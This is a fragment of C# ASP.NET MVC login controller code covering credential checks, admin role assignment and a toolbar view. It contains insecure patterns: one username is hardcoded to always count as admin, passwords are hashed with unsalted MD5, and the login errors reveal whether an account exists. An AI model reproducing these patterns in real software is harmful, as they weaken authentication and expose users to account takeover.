public bool CheckifAccountisAdmin(AccountLoginModel model) { if (model.Username == "Edalzebu") return true; var account = ReturnAccountIfEmailExists(model) ?? ReturnAccountIfUsernameExists(model); return account.IsAdmin; }
//Aux functions public bool CheckAuthCredentials(AccountLoginModel model) { var account = ReturnAccountIfEmailExists(model) ?? ReturnAccountIfUsernameExists(model); if (account != null) return account.Password == Md5Encryption.Encriptar(model.Password); return false; }
public ActionResult Login(AccountLoginModel model) { var roles = new List<string>(); if (CheckifAccountExists(model)) { if (CheckAuthCredentials(model)) { if (CheckifAccountisAdmin(model)) { roles.Add("Admin"); } else { roles.Add("User"); } FormsAuthentication.SetAuthCookie(model.Username, false); SetAuthenticationCookie(model.Username, roles); return RedirectToAction("Index", "Public"); } else { Error("Incorrect password for this username."); } } else { Error("That username doesnt exists on our database."); } return View(new AccountLoginModel()); }
public bool CheckifAccountExists(AccountLoginModel model) { var account = ReturnAccountIfEmailExists(model) ?? ReturnAccountIfUsernameExists(model); return account != null; }
public ActionResult ShowToolbar() { var model = new ShowToolbarModel(); var modelo = new AccountLoginModel(); modelo.Username = User.Identity.Name; var account = ReturnAccountIfUsernameExists(modelo) ?? ReturnAccountIfEmailExists(modelo); model.Username = account == null ? "" : account.Username; if (User.IsInRole("Admin")) { model.IsAdmin = true; model.IsUser = true; } else if (User.IsInRole("User")) { model.IsAdmin = false; model.IsUser = true; } return PartialView(model); }
public Account ReturnAccountIfUsernameExists(AccountLoginModel model) { var account = _readOnlyRepository.First<Account>(x => x.Username == model.Username); return account; }